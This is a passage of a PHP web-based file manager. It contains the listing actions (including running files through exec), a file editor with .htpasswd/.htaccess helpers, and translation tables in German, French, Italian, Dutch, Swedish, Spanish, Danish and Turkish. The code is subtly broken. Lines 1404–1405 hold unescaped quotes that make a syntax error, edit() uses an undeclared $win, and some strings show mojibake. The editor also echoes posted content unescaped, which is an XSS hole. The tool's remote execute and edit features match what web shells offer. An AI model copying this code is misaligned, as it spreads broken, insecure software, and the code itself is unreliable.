1230 echo ' <td class="functions">
1231 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1232';
1233
1234 $actions = array();
1235 if (function_exists('symlink')) {
1236 $actions[] = 'create_symlink';
1237 }
1238 if (@is_writable(dirname($file['path']))) {
1239 $actions[] = 'delete';
1240 $actions[] = 'rename';
1241 $actions[] = 'move';
1242 }
1243 if ($file['is_file'] && $file['is_readable']) {
1244 $actions[] = 'copy';
1245 $actions[] = 'download';
1246 if ($file['is_writable']) $actions[] = 'edit';
1247 }
1248 if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1249 $actions[] = 'execute';
1250 }
1251
1252 if (sizeof($actions) > 0) {
1253
1254 echo ' <select class="small" name="action' . $i . '" size="1">
1255 <option value="">' . str_repeat(' ', 30) . '</option>
1256';
1257
1258 foreach ($actions as $action) {
1259 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1260 }
1261
1262 echo ' </select>
1263 <input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
1264';
1265
1266 }
1267
1268 echo ' </td>
1269</tr>
1270';
1271
1272 }
1273
1274 echo '<tr class="listing_footer">
1275 <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
1276 <td colspan="' . ($cols - 1) . '">
1277 <input type="hidden" name="num" value="' . sizeof($list) . '" />
1278 <input type="hidden" name="focus" value="" />
1279 <input type="hidden" name="olddir" value="' . html($directory) . '" />
1280';
1281
1282 $actions = array();
1283 if (@is_writable(dirname($file['path']))) {
1284 $actions[] = 'delete';
1285 $actions[] = 'move';
1286 }
1287 $actions[] = 'copy';
1288
1289 echo ' <select class="small" name="action_all" size="1">
1290 <option value="">' . str_repeat(' ', 30) . '</option>
1291';
1292
1293 foreach ($actions as $action) {
1294 echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1295 }
1296
1297 echo ' </select>
1298 <input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
1299 </td>
1300</tr>
1301';
1302
1303}
1304
1305function column_title ($column, $sort, $reverse) {
1306 global $self, $directory;
1307
1308 $d = 'dir=' . urlencode($directory) . '&';
1309
1310 $arr = '';
1311 if ($sort == $column) {
1312 if (!$reverse) {
1313 $r = '&reverse=true';
1314 $arr = ' ∧';
1315 } else {
1316 $arr = ' ∨';
1317 }
1318 } else {
1319 $r = '';
1320 }
1321 echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
1322
1323}
1324
1325function directory_choice () {
1326 global $directory, $homedir, $cols, $self;
1327
1328 echo '<tr>
1329 <td colspan="' . $cols . '" id="directory">
1330 <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1331 <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1332 <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1333 </td>
1334</tr>
1335';
1336
1337}
1338
1339function upload_box () {
1340 global $cols;
1341
1342 echo '<tr>
1343 <td colspan="' . $cols . '" id="upload">
1344 ' . word('file') . ':
1345 <input type="file" name="upload" onfocus="activate(\'other\')" />
1346 <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1347 </td>
1348</tr>
1349';
1350
1351}
1352
1353function create_box () {
1354 global $cols;
1355
1356 echo '<tr>
1357 <td colspan="' . $cols . '" id="create">
1358 <select name="create_type" size="1" onfocus="activate(\'create\')">
1359 <option value="file">' . word('file') . '</option>
1360 <option value="directory">' . word('directory') . '</option>
1361 </select>
1362 <input type="text" name="create_name" onfocus="activate(\'create\')" />
1363 <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1364 </td>
1365</tr>
1366';
1367
1368}
1369
1370function edit ($file) {
1371 global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1372
1373 html_header();
1374
1375 echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1376
1377<form action="' . $self . '" method="post">
1378
1379<table class="dialog">
1380<tr>
1381<td class="dialog">
1382
1383 <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1384
1385 if (array_key_exists('content', $_POST)) {
1386 echo $_POST['content'];
1387 } else {
1388 $f = fopen($file, 'r');
1389 while (!feof($f)) {
1390 echo html(fread($f, 8192));
1391 }
1392 fclose($f);
1393 }
1394
1395 if (!empty($_POST['user'])) {
1396 echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1397 }
1398 if (!empty($_POST['basic_auth'])) {
1399 if ($win) {
1400 $authfile = str_replace('\\', '/', $directory) . $htpasswd;
1401 } else {
1402 $authfile = $directory . $htpasswd;
1403 }
1404 echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
1405 echo 'AuthUserFile "' . html($authfile) . ""\n";
1406 echo 'Require valid-user';
1407 }
1408
1409 echo '</textarea>
1410
1411 <hr />
1412';
1413
1414 if ($apache && basename($file) == $htpasswd) {
1415 echo '
1416 ' . word('user') . ': <input type="text" name="user" />
1417 ' . word('password') . ': <input type="password" name="password" />
1418 <input type="submit" value="' . word('add') . '" />
1419
1420 <hr />
1421';
1422
1423 }
1424
1425 if ($apache && basename($file) == $htaccess) {
1426 echo '
1427 <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1428
1429 <hr />
1430';
1431
1432 }
1433
1434 echo '
1435 <input type="hidden" name="action" value="edit" />
1436 <input type="hidden" name="file" value="' . html($file) . '" />
1437 <input type="hidden" name="dir" value="' . html($directory) . '" />
1438 <input type="reset" value="' . word('reset') . '" id="red_button" />
1439 <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1440
1441</td>
1442</tr>
1443</table>
1444
1445<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1446
1447</form>
1448
1449';
1450
1451 html_footer();
1452
1453}
1454
1455function spacer () {
1456 global $cols;
1457
1458 echo '<tr>
1459 <td colspan="' . $cols . '" style="height: 1em"></td>
1460</tr>
1461';
1462
1463}
1464
1465function textfieldsize ($content) {
1466
1467 $size = strlen($content) + 5;
1468 if ($size < 30) $size = 30;
1469
1470 return $size;
1471
1472}
1473
1474function request_dump () {
1475
1476 foreach ($_REQUEST as $key => $value) {
1477 echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1478 }
1479
1480}
1481
1482/* ------------------------------------------------------------------------- */
1483
1484function html ($string) {
1485 global $site_charset;
1486 return htmlentities($string, ENT_COMPAT, $site_charset);
1487}
1488
1489function word ($word) {
1490 global $words, $word_charset;
1491 return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1492}
1493
1494function phrase ($phrase, $arguments) {
1495 global $words;
1496 static $search;
1497
1498 if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1499
1500 for ($i = 0; $i < sizeof($arguments); $i++) {
1501 $arguments[$i] = nl2br(html($arguments[$i]));
1502 }
1503
1504 $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1505
1506 return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1507
1508}
1509
1510function getwords ($lang) {
1511 global $date_format, $word_charset;
1512 $word_charset = 'UTF-8';
1513
1514 switch ($lang) {
1515 case 'de':
1516
1517 $date_format = 'd.m.y H:i:s';
1518
1519 return array(
1520'directory' => 'Verzeichnis',
1521'file' => 'Datei',
1522'filename' => 'Dateiname',
1523
1524'size' => 'Größe',
1525'permission' => 'Rechte',
1526'owner' => 'Eigner',
1527'group' => 'Gruppe',
1528'other' => 'Andere',
1529'functions' => 'Funktionen',
1530
1531'read' => 'lesen',
1532'write' => 'schreiben',
1533'execute' => 'ausführen',
1534
1535'create_symlink' => 'Symlink erstellen',
1536'delete' => 'löschen',
1537'rename' => 'umbenennen',
1538'move' => 'verschieben',
1539'copy' => 'kopieren',
1540'edit' => 'editieren',
1541'download' => 'herunterladen',
1542'upload' => 'hochladen',
1543'create' => 'erstellen',
1544'change' => 'wechseln',
1545'save' => 'speichern',
1546'set' => 'setze',
1547'reset' => 'zurücksetzen',
1548'relative' => 'Pfad zum Ziel relativ',
1549
1550'yes' => 'Ja',
1551'no' => 'Nein',
1552'back' => 'zurück',
1553'destination' => 'Ziel',
1554'symlink' => 'Symbolischer Link',
1555'no_output' => 'keine Ausgabe',
1556
1557'user' => 'Benutzername',
1558'password' => 'Kennwort',
1559'add' => 'hinzufügen',
1560'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
1561
1562'uploaded' => '"[%1]" wurde hochgeladen.',
1563'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
1564'already_exists' => '"[%1]" existiert bereits.',
1565'created' => '"[%1]" wurde erstellt.',
1566'not_created' => '"[%1]" konnte nicht erstellt werden.',
1567'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
1568'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
1569'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
1570'rename_file' => 'Benenne Datei um:',
1571'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
1572'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
1573'move_files' => 'Verschieben folgende Dateien:',
1574'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
1575'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
1576'copy_files' => 'Kopiere folgende Dateien:',
1577'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
1578'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
1579'not_edited' => '"[%1]" kann nicht editiert werden.',
1580'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
1581'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
1582'saved' => '"[%1]" wurde gespeichert.',
1583'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
1584'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
1585'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
1586'permission_for' => 'Rechte für "[%1]":',
1587'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
1588'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
1589'not_readable' => '"[%1]" kann nicht gelesen werden.'
1590 );
1591
1592 case 'fr':
1593
1594 $date_format = 'd.m.y H:i:s';
1595
1596 return array(
1597'directory' => 'Répertoire',
1598'file' => 'Fichier',
1599'filename' => 'Nom fichier',
1600
1601'size' => 'Taille',
1602'permission' => 'Droits',
1603'owner' => 'Propriétaire',
1604'group' => 'Groupe',
1605'other' => 'Autres',
1606'functions' => 'Fonctions',
1607
1608'read' => 'Lire',
1609'write' => 'Ecrire',
1610'execute' => 'Exécuter',
1611
1612'create_symlink' => 'Créer lien symbolique',
1613'delete' => 'Effacer',
1614'rename' => 'Renommer',
1615'move' => 'Déplacer',
1616'copy' => 'Copier',
1617'edit' => 'Ouvrir',
1618'download' => 'Télécharger sur PC',
1619'upload' => 'Télécharger sur serveur',
1620'create' => 'Créer',
1621'change' => 'Changer',
1622'save' => 'Sauvegarder',
1623'set' => 'Exécuter',
1624'reset' => 'Réinitialiser',
1625'relative' => 'Relatif',
1626
1627'yes' => 'Oui',
1628'no' => 'Non',
1629'back' => 'Retour',
1630'destination' => 'Destination',
1631'symlink' => 'Lien symbollique',
1632'no_output' => 'Pas de sortie',
1633
1634'user' => 'Utilisateur',
1635'password' => 'Mot de passe',
1636'add' => 'Ajouter',
1637'add_basic_auth' => 'add basic-authentification',
1638
1639'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
1640'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
1641'already_exists' => '"[%1]" existe déjà .',
1642'created' => '"[%1]" a été créé.',
1643'not_created' => '"[%1]" n a pas pu être créé.',
1644'really_delete' => 'Effacer le fichier?',
1645'deleted' => "Ces fichiers ont été détuits:\n[%1]",
1646'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
1647'rename_file' => 'Renomme fichier:',
1648'renamed' => '"[%1]" a été renommé en "[%2]".',
1649'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
1650'move_files' => 'Déplacer ces fichiers:',
1651'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
1652'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
1653'copy_files' => 'Copier ces fichiers:',
1654'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
1655'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
1656'not_edited' => '"[%1]" ne peut être ouvert.',
1657'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
1658'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
1659'saved' => '"[%1]" a été sauvegardé.',
1660'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
1661'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
1662'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
1663'permission_for' => 'Droits de "[%1]":',
1664'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
1665'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
1666'not_readable' => '"[%1]" ne peut pas être ouvert.'
1667 );
1668
1669 case 'it':
1670
1671 $date_format = 'd-m-Y H:i:s';
1672
1673 return array(
1674'directory' => 'Directory',
1675'file' => 'File',
1676'filename' => 'Nome File',
1677
1678'size' => 'Dimensioni',
1679'permission' => 'Permessi',
1680'owner' => 'Proprietario',
1681'group' => 'Gruppo',
1682'other' => 'Altro',
1683'functions' => 'Funzioni',
1684
1685'read' => 'leggi',
1686'write' => 'scrivi',
1687'execute' => 'esegui',
1688
1689'create_symlink' => 'crea link simbolico',
1690'delete' => 'cancella',
1691'rename' => 'rinomina',
1692'move' => 'sposta',
1693'copy' => 'copia',
1694'edit' => 'modifica',
1695'download' => 'download',
1696'upload' => 'upload',
1697'create' => 'crea',
1698'change' => 'cambia',
1699'save' => 'salva',
1700'set' => 'imposta',
1701'reset' => 'reimposta',
1702'relative' => 'Percorso relativo per la destinazione',
1703
1704'yes' => 'Si',
1705'no' => 'No',
1706'back' => 'indietro',
1707'destination' => 'Destinazione',
1708'symlink' => 'Link simbolico',
1709'no_output' => 'no output',
1710
1711'user' => 'User',
1712'password' => 'Password',
1713'add' => 'aggiungi',
1714'add_basic_auth' => 'aggiungi autenticazione base',
1715
1716'uploaded' => '"[%1]" è stato caricato.',
1717'not_uploaded' => '"[%1]" non è stato caricato.',
1718'already_exists' => '"[%1]" esiste già .',
1719'created' => '"[%1]" è stato creato.',
1720'not_created' => '"[%1]" non è stato creato.',
1721'really_delete' => 'Cancello questi file ?',
1722'deleted' => "Questi file sono stati cancellati:\n[%1]",
1723'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
1724'rename_file' => 'File rinominato:',
1725'renamed' => '"[%1]" è stato rinominato in "[%2]".',
1726'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
1727'move_files' => 'Sposto questi file:',
1728'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
1729'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
1730'copy_files' => 'Copio questi file',
1731'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
1732'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
1733'not_edited' => '"[%1]" non può essere modificato.',
1734'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
1735'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
1736'saved' => '"[%1]" è stato salvato.',
1737'not_saved' => '"[%1]" non è stato salvato.',
1738'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
1739'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
1740'permission_for' => 'Permessi di "[%1]":',
1741'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
1742'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
1743'not_readable' => '"[%1]" non può essere letto.'
1744 );
1745
1746 case 'nl':
1747
1748 $date_format = 'n/j/y H:i:s';
1749
1750 return array(
1751'directory' => 'Directory',
1752'file' => 'Bestand',
1753'filename' => 'Bestandsnaam',
1754
1755'size' => 'Grootte',
1756'permission' => 'Bevoegdheid',
1757'owner' => 'Eigenaar',
1758'group' => 'Groep',
1759'other' => 'Anderen',
1760'functions' => 'Functies',
1761
1762'read' => 'lezen',
1763'write' => 'schrijven',
1764'execute' => 'uitvoeren',
1765
1766'create_symlink' => 'maak symlink',
1767'delete' => 'verwijderen',
1768'rename' => 'hernoemen',
1769'move' => 'verplaatsen',
1770'copy' => 'kopieren',
1771'edit' => 'bewerken',
1772'download' => 'downloaden',
1773'upload' => 'uploaden',
1774'create' => 'aanmaken',
1775'change' => 'veranderen',
1776'save' => 'opslaan',
1777'set' => 'instellen',
1778'reset' => 'resetten',
1779'relative' => 'Relatief pat naar doel',
1780
1781'yes' => 'Ja',
1782'no' => 'Nee',
1783'back' => 'terug',
1784'destination' => 'Bestemming',
1785'symlink' => 'Symlink',
1786'no_output' => 'geen output',
1787
1788'user' => 'Gebruiker',
1789'password' => 'Wachtwoord',
1790'add' => 'toevoegen',
1791'add_basic_auth' => 'add basic-authentification',
1792
1793'uploaded' => '"[%1]" is verstuurd.',
1794'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
1795'already_exists' => '"[%1]" bestaat al.',
1796'created' => '"[%1]" is aangemaakt.',
1797'not_created' => '"[%1]" kan niet worden aangemaakt.',
1798'really_delete' => 'Deze bestanden verwijderen?',
1799'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
1800'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
1801'rename_file' => 'Bestandsnaam veranderen:',
1802'renamed' => '"[%1]" heet nu "[%2]".',
1803'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
1804'move_files' => 'Verplaats deze bestanden:',
1805'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
1806'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
1807'copy_files' => 'Kopieer deze bestanden:',
1808'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
1809'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
1810'not_edited' => '"[%1]" kan niet worden bewerkt.',
1811'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
1812'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
1813'saved' => '"[%1]" is opgeslagen.',
1814'not_saved' => '"[%1]" is niet opgeslagen.',
1815'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
1816'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
1817'permission_for' => 'Bevoegdheid voor "[%1]":',
1818'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
1819'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
1820'not_readable' => '"[%1]" kan niet worden gelezen.'
1821 );
1822
1823 case 'se':
1824
1825 $date_format = 'n/j/y H:i:s';
1826
1827 return array(
1828'directory' => 'Mapp',
1829'file' => 'Fil',
1830'filename' => 'Filnamn',
1831
1832'size' => 'Storlek',
1833'permission' => 'Säkerhetsnivå',
1834'owner' => 'Ägare',
1835'group' => 'Grupp',
1836'other' => 'Andra',
1837'functions' => 'Funktioner',
1838
1839'read' => 'Läs',
1840'write' => 'Skriv',
1841'execute' => 'Utför',
1842
1843'create_symlink' => 'Skapa symlink',
1844'delete' => 'Radera',
1845'rename' => 'Byt namn',
1846'move' => 'Flytta',
1847'copy' => 'Kopiera',
1848'edit' => 'Ändra',
1849'download' => 'Ladda ner',
1850'upload' => 'Ladda upp',
1851'create' => 'Skapa',
1852'change' => 'Ändra',
1853'save' => 'Spara',
1854'set' => 'Markera',
1855'reset' => 'Töm',
1856'relative' => 'Relative path to target',
1857
1858'yes' => 'Ja',
1859'no' => 'Nej',
1860'back' => 'Tillbaks',
1861'destination' => 'Destination',
1862'symlink' => 'Symlink',
1863'no_output' => 'no output',
1864
1865'user' => 'Användare',
1866'password' => 'Lösenord',
1867'add' => 'Lägg till',
1868'add_basic_auth' => 'add basic-authentification',
1869
1870'uploaded' => '"[%1]" har laddats upp.',
1871'not_uploaded' => '"[%1]" kunde inte laddas upp.',
1872'already_exists' => '"[%1]" finns redan.',
1873'created' => '"[%1]" har skapats.',
1874'not_created' => '"[%1]" kunde inte skapas.',
1875'really_delete' => 'Radera dessa filer?',
1876'deleted' => "De här filerna har raderats:\n[%1]",
1877'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
1878'rename_file' => 'Byt namn på fil:',
1879'renamed' => '"[%1]" har bytt namn till "[%2]".',
1880'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
1881'move_files' => 'Flytta dessa filer:',
1882'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
1883'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
1884'copy_files' => 'Kopiera dessa filer:',
1885'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
1886'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
1887'not_edited' => '"[%1]" kan inte ändras.',
1888'executed' => "\"[%1]\" har utförts:\n{%2}",
1889'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
1890'saved' => '"[%1]" har sparats.',
1891'not_saved' => '"[%1]" kunde inte sparas.',
1892'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
1893'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
1894'permission_for' => 'Rättigheter för "[%1]":',
1895'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
1896'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
1897'not_readable' => '"[%1]" kan inte läsas.'
1898 );
1899
1900 case 'sp':
1901
1902 $date_format = 'j/n/y H:i:s';
1903
1904 return array(
1905'directory' => 'Directorio',
1906'file' => 'Archivo',
1907'filename' => 'Nombre Archivo',
1908
1909'size' => 'Tamaño',
1910'permission' => 'Permisos',
1911'owner' => 'Propietario',
1912'group' => 'Grupo',
1913'other' => 'Otros',
1914'functions' => 'Funciones',
1915
1916'read' => 'lectura',
1917'write' => 'escritura',
1918'execute' => 'ejecución',
1919
1920'create_symlink' => 'crear enlace',
1921'delete' => 'borrar',
1922'rename' => 'renombrar',
1923'move' => 'mover',
1924'copy' => 'copiar',
1925'edit' => 'editar',
1926'download' => 'bajar',
1927'upload' => 'subir',
1928'create' => 'crear',
1929'change' => 'cambiar',
1930'save' => 'salvar',
1931'set' => 'setear',
1932'reset' => 'resetear',
1933'relative' => 'Path relativo',
1934
1935'yes' => 'Si',
1936'no' => 'No',
1937'back' => 'atrás',
1938'destination' => 'Destino',
1939'symlink' => 'Enlace',
1940'no_output' => 'sin salida',
1941
1942'user' => 'Usuario',
1943'password' => 'Clave',
1944'add' => 'agregar',
1945'add_basic_auth' => 'agregar autentificación básica',
1946
1947'uploaded' => '"[%1]" ha sido subido.',
1948'not_uploaded' => '"[%1]" no pudo ser subido.',
1949'already_exists' => '"[%1]" ya existe.',
1950'created' => '"[%1]" ha sido creado.',
1951'not_created' => '"[%1]" no pudo ser creado.',
1952'really_delete' => '¿Borra estos archivos?',
1953'deleted' => "Estos archivos han sido borrados:\n[%1]",
1954'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
1955'rename_file' => 'Renombra archivo:',
1956'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
1957'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
1958'move_files' => 'Mover estos archivos:',
1959'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
1960'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
1961'copy_files' => 'Copiar estos archivos:',
1962'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
1963'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
1964'not_edited' => '"[%1]" no pudo ser editado.',
1965'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
1966'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
1967'saved' => '"[%1]" ha sido salvado.',
1968'not_saved' => '"[%1]" no pudo ser salvado.',
1969'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
1970'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
1971'permission_for' => 'Permisos de "[%1]":',
1972'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
1973'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
1974'not_readable' => '"[%1]" no pudo ser leÃdo.'
1975 );
1976
1977 case 'dk':
1978
1979 $date_format = 'n/j/y H:i:s';
1980
1981 return array(
1982'directory' => 'Mappe',
1983'file' => 'Fil',
1984'filename' => 'Filnavn',
1985
1986'size' => 'Størrelse',
1987'permission' => 'Rettighed',
1988'owner' => 'Ejer',
1989'group' => 'Gruppe',
1990'other' => 'Andre',
1991'functions' => 'Funktioner',
1992
1993'read' => 'læs',
1994'write' => 'skriv',
1995'execute' => 'kør',
1996
1997'create_symlink' => 'opret symbolsk link',
1998'delete' => 'slet',
1999'rename' => 'omdøb',
2000'move' => 'flyt',
2001'copy' => 'kopier',
2002'edit' => 'rediger',
2003'download' => 'download',
2004'upload' => 'upload',
2005'create' => 'opret',
2006'change' => 'skift',
2007'save' => 'gem',
2008'set' => 'sæt',
2009'reset' => 'nulstil',
2010'relative' => 'Relativ sti til valg',
2011
2012'yes' => 'Ja',
2013'no' => 'Nej',
2014'back' => 'tilbage',
2015'destination' => 'Distination',
2016'symlink' => 'Symbolsk link',
2017'no_output' => 'ingen resultat',
2018
2019'user' => 'Bruger',
2020'password' => 'Kodeord',
2021'add' => 'tilføj',
2022'add_basic_auth' => 'tilføj grundliggende rettigheder',
2023
2024'uploaded' => '"[%1]" er blevet uploaded.',
2025'not_uploaded' => '"[%1]" kunnu ikke uploades.',
2026'already_exists' => '"[%1]" findes allerede.',
2027'created' => '"[%1]" er blevet oprettet.',
2028'not_created' => '"[%1]" kunne ikke oprettes.',
2029'really_delete' => 'Slet disse filer?',
2030'deleted' => "Disse filer er blevet slettet:\n[%1]",
2031'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
2032'rename_file' => 'Omdød fil:',
2033'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
2034'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
2035'move_files' => 'Flyt disse filer:',
2036'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
2037'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
2038'copy_files' => 'Kopier disse filer:',
2039'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
2040'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
2041'not_edited' => '"[%1]" kan ikke redigeres.',
2042'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
2043'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
2044'saved' => '"[%1]" er blevet gemt.',
2045'not_saved' => '"[%1]" kunne ikke gemmes.',
2046'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
2047'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
2048'permission_for' => 'Rettigheder for "[%1]":',
2049'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
2050'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
2051'not_readable' => '"[%1]" Kan ikke læses.'
2052 );
2053
2054 case 'tr':
2055
2056 $date_format = 'n/j/y H:i:s';
2057
2058 return array(
2059'directory' => 'Klasör',
2060'file' => 'Dosya',
2061'filename' => 'dosya adi',
2062
2063'size' => 'boyutu',
2064'permission' => 'Izin',
2065'owner' => 'sahib',
2066'group' => 'Grup',
2067'other' => 'Digerleri',
2068'functions' => 'Fonksiyonlar',
2069
2070'read' => 'oku',
2071'write' => 'yaz',
2072'execute' => 'çalistir',
2073
2074'create_symlink' => 'yarat symlink',
2075'delete' => 'sil',
2076'rename' => 'ad degistir',
2077'move' => 'tasi',
2078'copy' => 'kopyala',
2079'edit' => 'düzenle',
2080'download' => 'indir',
2081'upload' => 'yükle',
2082'create' => 'create',
2083'change' => 'degistir',
2084'save' => 'kaydet',
2085'set' => 'ayar',
2086'reset' => 'sifirla',
2087'relative' => 'Hedef yola göre',
2088
2089'yes' => 'Evet',
2090'no' => 'Hayir',
2091'back' => 'Geri',
2092'destination' => 'Hedef',
2093'symlink' => 'Kýsa yol',
2094'no_output' => 'çikti yok',
2095
2096'user' => 'Kullanici',
2097'password' => 'Sifre',
2098'add' => 'ekle',
2099'add_basic_auth' => 'ekle basit-authentification',
2100
2101'uploaded' => '"[%1]" yüklendi.',
2102'not_uploaded' => '"[%1]" yüklenemedi.',
